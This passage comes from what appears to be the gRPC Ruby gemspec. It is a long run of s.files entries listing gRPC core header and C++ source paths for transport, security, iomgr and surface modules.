s.files += %w( include/grpc/impl/codegen/propagation_bits.h )
s.files += %w( include/grpc/impl/codegen/slice.h )
s.files += %w( include/grpc/impl/codegen/status.h )
s.files += %w( include/grpc/impl/codegen/atm.h )
s.files += %w( include/grpc/impl/codegen/atm_gcc_atomic.h )
s.files += %w( include/grpc/impl/codegen/atm_gcc_sync.h )
s.files += %w( include/grpc/impl/codegen/atm_windows.h )
s.files += %w( include/grpc/impl/codegen/fork.h )
s.files += %w( include/grpc/impl/codegen/gpr_slice.h )
s.files += %w( include/grpc/impl/codegen/gpr_types.h )
s.files += %w( include/grpc/impl/codegen/log.h )
s.files += %w( include/grpc/impl/codegen/port_platform.h )
s.files += %w( include/grpc/impl/codegen/sync.h )
s.files += %w( include/grpc/impl/codegen/sync_custom.h )
s.files += %w( include/grpc/impl/codegen/sync_generic.h )
s.files += %w( include/grpc/impl/codegen/sync_posix.h )
s.files += %w( include/grpc/impl/codegen/sync_windows.h )
s.files += %w( include/grpc/grpc_security.h )
s.files += %w( include/grpc/byte_buffer.h )
s.files += %w( include/grpc/byte_buffer_reader.h )
s.files += %w( include/grpc/compression.h )
s.files += %w( include/grpc/fork.h )
s.files += %w( include/grpc/grpc.h )
s.files += %w( include/grpc/grpc_posix.h )
s.files += %w( include/grpc/grpc_security_constants.h )
s.files += %w( include/grpc/load_reporting.h )
s.files += %w( include/grpc/slice.h )
s.files += %w( include/grpc/slice_buffer.h )
s.files += %w( include/grpc/status.h )
s.files += %w( include/grpc/support/workaround_list.h )
s.files += %w( include/grpc/census.h )
s.files += %w( src/core/ext/transport/chttp2/transport/bin_decoder.h )
s.files += %w( src/core/ext/transport/chttp2/transport/bin_encoder.h )
s.files += %w( src/core/ext/transport/chttp2/transport/chttp2_transport.h )
s.files += %w( src/core/ext/transport/chttp2/transport/context_list.h )
s.files += %w( src/core/ext/transport/chttp2/transport/flow_control.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_data.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_goaway.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_ping.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_rst_stream.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_settings.h )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_window_update.h )
s.files += %w( src/core/ext/transport/chttp2/transport/hpack_encoder.h )
s.files += %w( src/core/ext/transport/chttp2/transport/hpack_parser.h )
s.files += %w( src/core/ext/transport/chttp2/transport/hpack_table.h )
s.files += %w( src/core/ext/transport/chttp2/transport/http2_settings.h )
s.files += %w( src/core/ext/transport/chttp2/transport/huffsyms.h )
s.files += %w( src/core/ext/transport/chttp2/transport/incoming_metadata.h )
s.files += %w( src/core/ext/transport/chttp2/transport/internal.h )
s.files += %w( src/core/ext/transport/chttp2/transport/stream_map.h )
s.files += %w( src/core/ext/transport/chttp2/transport/varint.h )
s.files += %w( src/core/ext/transport/chttp2/alpn/alpn.h )
s.files += %w( src/core/ext/filters/http/client/http_client_filter.h )
s.files += %w( src/core/ext/filters/http/message_compress/message_compress_filter.h )
s.files += %w( src/core/ext/filters/http/server/http_server_filter.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds.h )
s.files += %w( src/core/lib/security/context/security_context.h )
s.files += %w( src/core/lib/security/credentials/alts/alts_credentials.h )
s.files += %w( src/core/lib/security/credentials/composite/composite_credentials.h )
s.files += %w( src/core/lib/security/credentials/credentials.h )
s.files += %w( src/core/lib/security/credentials/fake/fake_credentials.h )
s.files += %w( src/core/lib/security/credentials/google_default/google_default_credentials.h )
s.files += %w( src/core/lib/security/credentials/iam/iam_credentials.h )
s.files += %w( src/core/lib/security/credentials/jwt/json_token.h )
s.files += %w( src/core/lib/security/credentials/jwt/jwt_credentials.h )
s.files += %w( src/core/lib/security/credentials/jwt/jwt_verifier.h )
s.files += %w( src/core/lib/security/credentials/local/local_credentials.h )
s.files += %w( src/core/lib/security/credentials/oauth2/oauth2_credentials.h )
s.files += %w( src/core/lib/security/credentials/plugin/plugin_credentials.h )
s.files += %w( src/core/lib/security/credentials/ssl/ssl_credentials.h )
s.files += %w( src/core/lib/security/credentials/tls/grpc_tls_credentials_options.h )
s.files += %w( src/core/lib/security/credentials/tls/spiffe_credentials.h )
s.files += %w( src/core/lib/security/security_connector/alts/alts_security_connector.h )
s.files += %w( src/core/lib/security/security_connector/fake/fake_security_connector.h )
s.files += %w( src/core/lib/security/security_connector/load_system_roots.h )
s.files += %w( src/core/lib/security/security_connector/load_system_roots_linux.h )
s.files += %w( src/core/lib/security/security_connector/local/local_security_connector.h )
s.files += %w( src/core/lib/security/security_connector/security_connector.h )
s.files += %w( src/core/lib/security/security_connector/ssl/ssl_security_connector.h )
s.files += %w( src/core/lib/security/security_connector/ssl_utils.h )
s.files += %w( src/core/lib/security/security_connector/tls/spiffe_security_connector.h )
s.files += %w( src/core/lib/security/transport/auth_filters.h )
s.files += %w( src/core/lib/security/transport/secure_endpoint.h )
s.files += %w( src/core/lib/security/transport/security_handshaker.h )
s.files += %w( src/core/lib/security/transport/target_authority_table.h )
s.files += %w( src/core/lib/security/transport/tsi_error.h )
s.files += %w( src/core/lib/security/util/json_util.h )
s.files += %w( src/core/tsi/alts/crypt/gsec.h )
s.files += %w( src/core/tsi/alts/frame_protector/alts_counter.h )
s.files += %w( src/core/tsi/alts/frame_protector/alts_crypter.h )
s.files += %w( src/core/tsi/alts/frame_protector/alts_frame_protector.h )
s.files += %w( src/core/tsi/alts/frame_protector/alts_record_protocol_crypter_common.h )
s.files += %w( src/core/tsi/alts/frame_protector/frame_handler.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_client.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_shared_resource.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_tsi_handshaker.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_tsi_handshaker_private.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_integrity_only_record_protocol.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_privacy_integrity_record_protocol.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_record_protocol.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_grpc_record_protocol_common.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_iovec_record_protocol.h )
s.files += %w( src/core/tsi/alts/zero_copy_frame_protector/alts_zero_copy_grpc_protector.h )
s.files += %w( src/core/lib/security/credentials/alts/check_gcp_environment.h )
s.files += %w( src/core/lib/security/credentials/alts/grpc_alts_credentials_options.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_service_api.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_handshaker_service_api_util.h )
s.files += %w( src/core/tsi/alts/handshaker/alts_tsi_utils.h )
s.files += %w( src/core/tsi/alts/handshaker/transport_security_common_api.h )
s.files += %w( src/core/tsi/alts/handshaker/altscontext.pb.h )
s.files += %w( src/core/tsi/alts/handshaker/handshaker.pb.h )
s.files += %w( src/core/tsi/alts/handshaker/transport_security_common.pb.h )
s.files += %w( third_party/nanopb/pb.h )
s.files += %w( third_party/nanopb/pb_common.h )
s.files += %w( third_party/nanopb/pb_decode.h )
s.files += %w( third_party/nanopb/pb_encode.h )
s.files += %w( src/core/tsi/transport_security.h )
s.files += %w( src/core/tsi/transport_security_interface.h )
s.files += %w( src/core/ext/transport/chttp2/client/authority.h )
s.files += %w( src/core/ext/transport/chttp2/client/chttp2_connector.h )
s.files += %w( src/core/ext/filters/client_channel/backup_poller.h )
s.files += %w( src/core/ext/filters/client_channel/client_channel.h )
s.files += %w( src/core/ext/filters/client_channel/client_channel_channelz.h )
s.files += %w( src/core/ext/filters/client_channel/client_channel_factory.h )
s.files += %w( src/core/ext/filters/client_channel/connector.h )
s.files += %w( src/core/ext/filters/client_channel/global_subchannel_pool.h )
s.files += %w( src/core/ext/filters/client_channel/health/health_check_client.h )
s.files += %w( src/core/ext/filters/client_channel/http_connect_handshaker.h )
s.files += %w( src/core/ext/filters/client_channel/http_proxy.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy_factory.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy_registry.h )
s.files += %w( src/core/ext/filters/client_channel/local_subchannel_pool.h )
s.files += %w( src/core/ext/filters/client_channel/parse_address.h )
s.files += %w( src/core/ext/filters/client_channel/proxy_mapper.h )
s.files += %w( src/core/ext/filters/client_channel/proxy_mapper_registry.h )
s.files += %w( src/core/ext/filters/client_channel/resolver.h )
s.files += %w( src/core/ext/filters/client_channel/resolver_factory.h )
s.files += %w( src/core/ext/filters/client_channel/resolver_registry.h )
s.files += %w( src/core/ext/filters/client_channel/resolver_result_parsing.h )
s.files += %w( src/core/ext/filters/client_channel/resolving_lb_policy.h )
s.files += %w( src/core/ext/filters/client_channel/retry_throttle.h )
s.files += %w( src/core/ext/filters/client_channel/server_address.h )
s.files += %w( src/core/ext/filters/client_channel/service_config.h )
s.files += %w( src/core/ext/filters/client_channel/subchannel.h )
s.files += %w( src/core/ext/filters/client_channel/subchannel_interface.h )
s.files += %w( src/core/ext/filters/client_channel/subchannel_pool_interface.h )
s.files += %w( src/core/ext/filters/deadline/deadline_filter.h )
s.files += %w( src/core/ext/filters/client_channel/health/health.pb.h )
s.files += %w( src/core/tsi/fake_transport_security.h )
s.files += %w( src/core/tsi/local_transport_security.h )
s.files += %w( src/core/tsi/ssl/session_cache/ssl_session.h )
s.files += %w( src/core/tsi/ssl/session_cache/ssl_session_cache.h )
s.files += %w( src/core/tsi/ssl_transport_security.h )
s.files += %w( src/core/tsi/ssl_types.h )
s.files += %w( src/core/tsi/transport_security_grpc.h )
s.files += %w( src/core/tsi/grpc_shadow_boringssl.h )
s.files += %w( src/core/ext/transport/chttp2/server/chttp2_server.h )
s.files += %w( src/core/ext/transport/inproc/inproc_transport.h )
s.files += %w( src/core/lib/avl/avl.h )
s.files += %w( src/core/lib/backoff/backoff.h )
s.files += %w( src/core/lib/channel/channel_args.h )
s.files += %w( src/core/lib/channel/channel_stack.h )
s.files += %w( src/core/lib/channel/channel_stack_builder.h )
s.files += %w( src/core/lib/channel/channel_trace.h )
s.files += %w( src/core/lib/channel/channelz.h )
s.files += %w( src/core/lib/channel/channelz_registry.h )
s.files += %w( src/core/lib/channel/connected_channel.h )
s.files += %w( src/core/lib/channel/context.h )
s.files += %w( src/core/lib/channel/handshaker.h )
s.files += %w( src/core/lib/channel/handshaker_factory.h )
s.files += %w( src/core/lib/channel/handshaker_registry.h )
s.files += %w( src/core/lib/channel/status_util.h )
s.files += %w( src/core/lib/compression/algorithm_metadata.h )
s.files += %w( src/core/lib/compression/compression_args.h )
s.files += %w( src/core/lib/compression/compression_internal.h )
s.files += %w( src/core/lib/compression/message_compress.h )
s.files += %w( src/core/lib/compression/stream_compression.h )
s.files += %w( src/core/lib/compression/stream_compression_gzip.h )
s.files += %w( src/core/lib/compression/stream_compression_identity.h )
s.files += %w( src/core/lib/debug/stats.h )
s.files += %w( src/core/lib/debug/stats_data.h )
s.files += %w( src/core/lib/gprpp/debug_location.h )
s.files += %w( src/core/lib/gprpp/inlined_vector.h )
s.files += %w( src/core/lib/gprpp/optional.h )
s.files += %w( src/core/lib/gprpp/orphanable.h )
s.files += %w( src/core/lib/gprpp/ref_counted.h )
s.files += %w( src/core/lib/gprpp/ref_counted_ptr.h )
s.files += %w( src/core/lib/http/format_request.h )
s.files += %w( src/core/lib/http/httpcli.h )
s.files += %w( src/core/lib/http/parser.h )
s.files += %w( src/core/lib/iomgr/block_annotate.h )
s.files += %w( src/core/lib/iomgr/buffer_list.h )
s.files += %w( src/core/lib/iomgr/call_combiner.h )
s.files += %w( src/core/lib/iomgr/cfstream_handle.h )
s.files += %w( src/core/lib/iomgr/closure.h )
s.files += %w( src/core/lib/iomgr/combiner.h )
s.files += %w( src/core/lib/iomgr/dynamic_annotations.h )
s.files += %w( src/core/lib/iomgr/endpoint.h )
s.files += %w( src/core/lib/iomgr/endpoint_cfstream.h )
s.files += %w( src/core/lib/iomgr/endpoint_pair.h )
s.files += %w( src/core/lib/iomgr/error.h )
s.files += %w( src/core/lib/iomgr/error_cfstream.h )
s.files += %w( src/core/lib/iomgr/error_internal.h )
s.files += %w( src/core/lib/iomgr/ev_epoll1_linux.h )
s.files += %w( src/core/lib/iomgr/ev_epollex_linux.h )
s.files += %w( src/core/lib/iomgr/ev_poll_posix.h )
s.files += %w( src/core/lib/iomgr/ev_posix.h )
s.files += %w( src/core/lib/iomgr/exec_ctx.h )
s.files += %w( src/core/lib/iomgr/executor.h )
s.files += %w( src/core/lib/iomgr/gethostname.h )
s.files += %w( src/core/lib/iomgr/grpc_if_nametoindex.h )
s.files += %w( src/core/lib/iomgr/internal_errqueue.h )
s.files += %w( src/core/lib/iomgr/iocp_windows.h )
s.files += %w( src/core/lib/iomgr/iomgr.h )
s.files += %w( src/core/lib/iomgr/iomgr_custom.h )
s.files += %w( src/core/lib/iomgr/iomgr_internal.h )
s.files += %w( src/core/lib/iomgr/iomgr_posix.h )
s.files += %w( src/core/lib/iomgr/is_epollexclusive_available.h )
s.files += %w( src/core/lib/iomgr/load_file.h )
s.files += %w( src/core/lib/iomgr/lockfree_event.h )
s.files += %w( src/core/lib/iomgr/nameser.h )
s.files += %w( src/core/lib/iomgr/polling_entity.h )
s.files += %w( src/core/lib/iomgr/pollset.h )
s.files += %w( src/core/lib/iomgr/pollset_custom.h )
s.files += %w( src/core/lib/iomgr/pollset_set.h )
s.files += %w( src/core/lib/iomgr/pollset_set_custom.h )
s.files += %w( src/core/lib/iomgr/pollset_set_windows.h )
s.files += %w( src/core/lib/iomgr/pollset_windows.h )
s.files += %w( src/core/lib/iomgr/port.h )
s.files += %w( src/core/lib/iomgr/resolve_address.h )
s.files += %w( src/core/lib/iomgr/resolve_address_custom.h )
s.files += %w( src/core/lib/iomgr/resource_quota.h )
s.files += %w( src/core/lib/iomgr/sockaddr.h )
s.files += %w( src/core/lib/iomgr/sockaddr_custom.h )
s.files += %w( src/core/lib/iomgr/sockaddr_posix.h )
s.files += %w( src/core/lib/iomgr/sockaddr_utils.h )
s.files += %w( src/core/lib/iomgr/sockaddr_windows.h )
s.files += %w( src/core/lib/iomgr/socket_factory_posix.h )
s.files += %w( src/core/lib/iomgr/socket_mutator.h )
s.files += %w( src/core/lib/iomgr/socket_utils.h )
s.files += %w( src/core/lib/iomgr/socket_utils_posix.h )
s.files += %w( src/core/lib/iomgr/socket_windows.h )
s.files += %w( src/core/lib/iomgr/sys_epoll_wrapper.h )
s.files += %w( src/core/lib/iomgr/tcp_client.h )
s.files += %w( src/core/lib/iomgr/tcp_client_posix.h )
s.files += %w( src/core/lib/iomgr/tcp_custom.h )
s.files += %w( src/core/lib/iomgr/tcp_posix.h )
s.files += %w( src/core/lib/iomgr/tcp_server.h )
s.files += %w( src/core/lib/iomgr/tcp_server_utils_posix.h )
s.files += %w( src/core/lib/iomgr/tcp_windows.h )
s.files += %w( src/core/lib/iomgr/time_averaged_stats.h )
s.files += %w( src/core/lib/iomgr/timer.h )
s.files += %w( src/core/lib/iomgr/timer_custom.h )
s.files += %w( src/core/lib/iomgr/timer_heap.h )
s.files += %w( src/core/lib/iomgr/timer_manager.h )
s.files += %w( src/core/lib/iomgr/udp_server.h )
s.files += %w( src/core/lib/iomgr/unix_sockets_posix.h )
s.files += %w( src/core/lib/iomgr/wakeup_fd_pipe.h )
s.files += %w( src/core/lib/iomgr/wakeup_fd_posix.h )
s.files += %w( src/core/lib/json/json.h )
s.files += %w( src/core/lib/json/json_common.h )
s.files += %w( src/core/lib/json/json_reader.h )
s.files += %w( src/core/lib/json/json_writer.h )
s.files += %w( src/core/lib/slice/b64.h )
s.files += %w( src/core/lib/slice/percent_encoding.h )
s.files += %w( src/core/lib/slice/slice_hash_table.h )
s.files += %w( src/core/lib/slice/slice_internal.h )
s.files += %w( src/core/lib/slice/slice_string_helpers.h )
s.files += %w( src/core/lib/slice/slice_utils.h )
s.files += %w( src/core/lib/slice/slice_weak_hash_table.h )
s.files += %w( src/core/lib/surface/api_trace.h )
s.files += %w( src/core/lib/surface/call.h )
s.files += %w( src/core/lib/surface/call_test_only.h )
s.files += %w( src/core/lib/surface/channel.h )
s.files += %w( src/core/lib/surface/channel_init.h )
s.files += %w( src/core/lib/surface/channel_stack_type.h )
s.files += %w( src/core/lib/surface/completion_queue.h )
s.files += %w( src/core/lib/surface/completion_queue_factory.h )
s.files += %w( src/core/lib/surface/event_string.h )
s.files += %w( src/core/lib/surface/init.h )
s.files += %w( src/core/lib/surface/lame_client.h )
s.files += %w( src/core/lib/surface/server.h )
s.files += %w( src/core/lib/surface/validate_metadata.h )
s.files += %w( src/core/lib/transport/bdp_estimator.h )
s.files += %w( src/core/lib/transport/byte_stream.h )
s.files += %w( src/core/lib/transport/connectivity_state.h )
s.files += %w( src/core/lib/transport/error_utils.h )
s.files += %w( src/core/lib/transport/http2_errors.h )
s.files += %w( src/core/lib/transport/metadata.h )
s.files += %w( src/core/lib/transport/metadata_batch.h )
s.files += %w( src/core/lib/transport/pid_controller.h )
s.files += %w( src/core/lib/transport/static_metadata.h )
s.files += %w( src/core/lib/transport/status_conversion.h )
s.files += %w( src/core/lib/transport/status_metadata.h )
s.files += %w( src/core/lib/transport/timeout_encoding.h )
s.files += %w( src/core/lib/transport/transport.h )
s.files += %w( src/core/lib/transport/transport_impl.h )
s.files += %w( src/core/lib/uri/uri_parser.h )
s.files += %w( src/core/lib/debug/trace.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/client_load_reporting_filter.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_channel.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_client_stats.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/load_balancer_api.h )
s.files += %w( src/core/ext/filters/client_channel/resolver/fake/fake_resolver.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/google/protobuf/duration.pb.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/google/protobuf/timestamp.pb.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/grpclb/proto/grpc/lb/v1/load_balancer.pb.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_channel.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_client_stats.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/xds/xds_load_balancer_api.h )
s.files += %w( src/core/ext/filters/client_channel/lb_policy/subchannel_list.h )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_ev_driver.h )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper.h )
s.files += %w( src/core/ext/filters/client_channel/resolver/dns/dns_resolver_selection.h )
s.files += %w( src/core/ext/filters/max_age/max_age_filter.h )
s.files += %w( src/core/ext/filters/message_size/message_size_filter.h )
s.files += %w( src/core/ext/filters/http/client_authority_filter.h )
s.files += %w( src/core/ext/filters/workarounds/workaround_cronet_compression_filter.h )
s.files += %w( src/core/ext/filters/workarounds/workaround_utils.h )
s.files += %w( src/core/lib/surface/init.cc )
s.files += %w( src/core/lib/avl/avl.cc )
s.files += %w( src/core/lib/backoff/backoff.cc )
s.files += %w( src/core/lib/channel/channel_args.cc )
s.files += %w( src/core/lib/channel/channel_stack.cc )
s.files += %w( src/core/lib/channel/channel_stack_builder.cc )
s.files += %w( src/core/lib/channel/channel_trace.cc )
s.files += %w( src/core/lib/channel/channelz.cc )
s.files += %w( src/core/lib/channel/channelz_registry.cc )
s.files += %w( src/core/lib/channel/connected_channel.cc )
s.files += %w( src/core/lib/channel/handshaker.cc )
s.files += %w( src/core/lib/channel/handshaker_registry.cc )
s.files += %w( src/core/lib/channel/status_util.cc )
s.files += %w( src/core/lib/compression/compression.cc )
s.files += %w( src/core/lib/compression/compression_args.cc )
s.files += %w( src/core/lib/compression/compression_internal.cc )
s.files += %w( src/core/lib/compression/message_compress.cc )
s.files += %w( src/core/lib/compression/stream_compression.cc )
s.files += %w( src/core/lib/compression/stream_compression_gzip.cc )
s.files += %w( src/core/lib/compression/stream_compression_identity.cc )
s.files += %w( src/core/lib/debug/stats.cc )
s.files += %w( src/core/lib/debug/stats_data.cc )
s.files += %w( src/core/lib/http/format_request.cc )
s.files += %w( src/core/lib/http/httpcli.cc )
s.files += %w( src/core/lib/http/parser.cc )
s.files += %w( src/core/lib/iomgr/buffer_list.cc )
s.files += %w( src/core/lib/iomgr/call_combiner.cc )
s.files += %w( src/core/lib/iomgr/cfstream_handle.cc )
s.files += %w( src/core/lib/iomgr/combiner.cc )
s.files += %w( src/core/lib/iomgr/endpoint.cc )
s.files += %w( src/core/lib/iomgr/endpoint_cfstream.cc )
s.files += %w( src/core/lib/iomgr/endpoint_pair_posix.cc )
s.files += %w( src/core/lib/iomgr/endpoint_pair_uv.cc )
s.files += %w( src/core/lib/iomgr/endpoint_pair_windows.cc )
s.files += %w( src/core/lib/iomgr/error.cc )
s.files += %w( src/core/lib/iomgr/error_cfstream.cc )
s.files += %w( src/core/lib/iomgr/ev_epoll1_linux.cc )
s.files += %w( src/core/lib/iomgr/ev_epollex_linux.cc )
s.files += %w( src/core/lib/iomgr/ev_poll_posix.cc )
s.files += %w( src/core/lib/iomgr/ev_posix.cc )
s.files += %w( src/core/lib/iomgr/ev_windows.cc )
s.files += %w( src/core/lib/iomgr/exec_ctx.cc )
s.files += %w( src/core/lib/iomgr/executor.cc )
s.files += %w( src/core/lib/iomgr/fork_posix.cc )
s.files += %w( src/core/lib/iomgr/fork_windows.cc )
s.files += %w( src/core/lib/iomgr/gethostname_fallback.cc )
s.files += %w( src/core/lib/iomgr/gethostname_host_name_max.cc )
s.files += %w( src/core/lib/iomgr/gethostname_sysconf.cc )
s.files += %w( src/core/lib/iomgr/grpc_if_nametoindex_posix.cc )
s.files += %w( src/core/lib/iomgr/grpc_if_nametoindex_unsupported.cc )
s.files += %w( src/core/lib/iomgr/internal_errqueue.cc )
s.files += %w( src/core/lib/iomgr/iocp_windows.cc )
s.files += %w( src/core/lib/iomgr/iomgr.cc )
s.files += %w( src/core/lib/iomgr/iomgr_custom.cc )
s.files += %w( src/core/lib/iomgr/iomgr_internal.cc )
s.files += %w( src/core/lib/iomgr/iomgr_posix.cc )
s.files += %w( src/core/lib/iomgr/iomgr_posix_cfstream.cc )
s.files += %w( src/core/lib/iomgr/iomgr_uv.cc )
s.files += %w( src/core/lib/iomgr/iomgr_windows.cc )
s.files += %w( src/core/lib/iomgr/is_epollexclusive_available.cc )
s.files += %w( src/core/lib/iomgr/load_file.cc )
s.files += %w( src/core/lib/iomgr/lockfree_event.cc )
s.files += %w( src/core/lib/iomgr/polling_entity.cc )
s.files += %w( src/core/lib/iomgr/pollset.cc )
s.files += %w( src/core/lib/iomgr/pollset_custom.cc )
s.files += %w( src/core/lib/iomgr/pollset_set.cc )
s.files += %w( src/core/lib/iomgr/pollset_set_custom.cc )
s.files += %w( src/core/lib/iomgr/pollset_set_windows.cc )
s.files += %w( src/core/lib/iomgr/pollset_uv.cc )
s.files += %w( src/core/lib/iomgr/pollset_windows.cc )
s.files += %w( src/core/lib/iomgr/resolve_address.cc )
s.files += %w( src/core/lib/iomgr/resolve_address_custom.cc )
s.files += %w( src/core/lib/iomgr/resolve_address_posix.cc )
s.files += %w( src/core/lib/iomgr/resolve_address_windows.cc )
s.files += %w( src/core/lib/iomgr/resource_quota.cc )
s.files += %w( src/core/lib/iomgr/sockaddr_utils.cc )
s.files += %w( src/core/lib/iomgr/socket_factory_posix.cc )
s.files += %w( src/core/lib/iomgr/socket_mutator.cc )
s.files += %w( src/core/lib/iomgr/socket_utils_common_posix.cc )
s.files += %w( src/core/lib/iomgr/socket_utils_linux.cc )
s.files += %w( src/core/lib/iomgr/socket_utils_posix.cc )
s.files += %w( src/core/lib/iomgr/socket_utils_uv.cc )
s.files += %w( src/core/lib/iomgr/socket_utils_windows.cc )
s.files += %w( src/core/lib/iomgr/socket_windows.cc )
s.files += %w( src/core/lib/iomgr/tcp_client.cc )
s.files += %w( src/core/lib/iomgr/tcp_client_cfstream.cc )
s.files += %w( src/core/lib/iomgr/tcp_client_custom.cc )
s.files += %w( src/core/lib/iomgr/tcp_client_posix.cc )
s.files += %w( src/core/lib/iomgr/tcp_client_windows.cc )
s.files += %w( src/core/lib/iomgr/tcp_custom.cc )
s.files += %w( src/core/lib/iomgr/tcp_posix.cc )
s.files += %w( src/core/lib/iomgr/tcp_server.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_custom.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_posix.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_utils_posix_common.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_utils_posix_ifaddrs.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_utils_posix_noifaddrs.cc )
s.files += %w( src/core/lib/iomgr/tcp_server_windows.cc )
s.files += %w( src/core/lib/iomgr/tcp_uv.cc )
s.files += %w( src/core/lib/iomgr/tcp_windows.cc )
s.files += %w( src/core/lib/iomgr/time_averaged_stats.cc )
s.files += %w( src/core/lib/iomgr/timer.cc )
s.files += %w( src/core/lib/iomgr/timer_custom.cc )
s.files += %w( src/core/lib/iomgr/timer_generic.cc )
s.files += %w( src/core/lib/iomgr/timer_heap.cc )
s.files += %w( src/core/lib/iomgr/timer_manager.cc )
s.files += %w( src/core/lib/iomgr/timer_uv.cc )
s.files += %w( src/core/lib/iomgr/udp_server.cc )
s.files += %w( src/core/lib/iomgr/unix_sockets_posix.cc )
s.files += %w( src/core/lib/iomgr/unix_sockets_posix_noop.cc )
s.files += %w( src/core/lib/iomgr/wakeup_fd_eventfd.cc )
s.files += %w( src/core/lib/iomgr/wakeup_fd_nospecial.cc )
s.files += %w( src/core/lib/iomgr/wakeup_fd_pipe.cc )
s.files += %w( src/core/lib/iomgr/wakeup_fd_posix.cc )
s.files += %w( src/core/lib/json/json.cc )
s.files += %w( src/core/lib/json/json_reader.cc )
s.files += %w( src/core/lib/json/json_string.cc )
s.files += %w( src/core/lib/json/json_writer.cc )
s.files += %w( src/core/lib/slice/b64.cc )
s.files += %w( src/core/lib/slice/percent_encoding.cc )
s.files += %w( src/core/lib/slice/slice.cc )
s.files += %w( src/core/lib/slice/slice_buffer.cc )
s.files += %w( src/core/lib/slice/slice_intern.cc )
s.files += %w( src/core/lib/slice/slice_string_helpers.cc )
s.files += %w( src/core/lib/surface/api_trace.cc )
s.files += %w( src/core/lib/surface/byte_buffer.cc )
s.files += %w( src/core/lib/surface/byte_buffer_reader.cc )
s.files += %w( src/core/lib/surface/call.cc )
s.files += %w( src/core/lib/surface/call_details.cc )
s.files += %w( src/core/lib/surface/call_log_batch.cc )
s.files += %w( src/core/lib/surface/channel.cc )
s.files += %w( src/core/lib/surface/channel_init.cc )
s.files += %w( src/core/lib/surface/channel_ping.cc )
s.files += %w( src/core/lib/surface/channel_stack_type.cc )
s.files += %w( src/core/lib/surface/completion_queue.cc )
s.files += %w( src/core/lib/surface/completion_queue_factory.cc )
s.files += %w( src/core/lib/surface/event_string.cc )
s.files += %w( src/core/lib/surface/lame_client.cc )
s.files += %w( src/core/lib/surface/metadata_array.cc )
s.files += %w( src/core/lib/surface/server.cc )
s.files += %w( src/core/lib/surface/validate_metadata.cc )
s.files += %w( src/core/lib/surface/version.cc )
s.files += %w( src/core/lib/transport/bdp_estimator.cc )
s.files += %w( src/core/lib/transport/byte_stream.cc )
s.files += %w( src/core/lib/transport/connectivity_state.cc )
s.files += %w( src/core/lib/transport/error_utils.cc )
s.files += %w( src/core/lib/transport/metadata.cc )
s.files += %w( src/core/lib/transport/metadata_batch.cc )
s.files += %w( src/core/lib/transport/pid_controller.cc )
s.files += %w( src/core/lib/transport/static_metadata.cc )
s.files += %w( src/core/lib/transport/status_conversion.cc )
s.files += %w( src/core/lib/transport/status_metadata.cc )
s.files += %w( src/core/lib/transport/timeout_encoding.cc )
s.files += %w( src/core/lib/transport/transport.cc )
s.files += %w( src/core/lib/transport/transport_op_string.cc )
s.files += %w( src/core/lib/uri/uri_parser.cc )
s.files += %w( src/core/lib/debug/trace.cc )
s.files += %w( src/core/ext/transport/chttp2/server/secure/server_secure_chttp2.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/bin_decoder.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/bin_encoder.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/chttp2_plugin.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/chttp2_transport.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/context_list.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/flow_control.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_data.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_goaway.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_ping.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_rst_stream.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_settings.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/frame_window_update.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/hpack_encoder.cc )
s.files += %w( src/core/ext/transport/chttp2/transport/hpack_parser.cc )
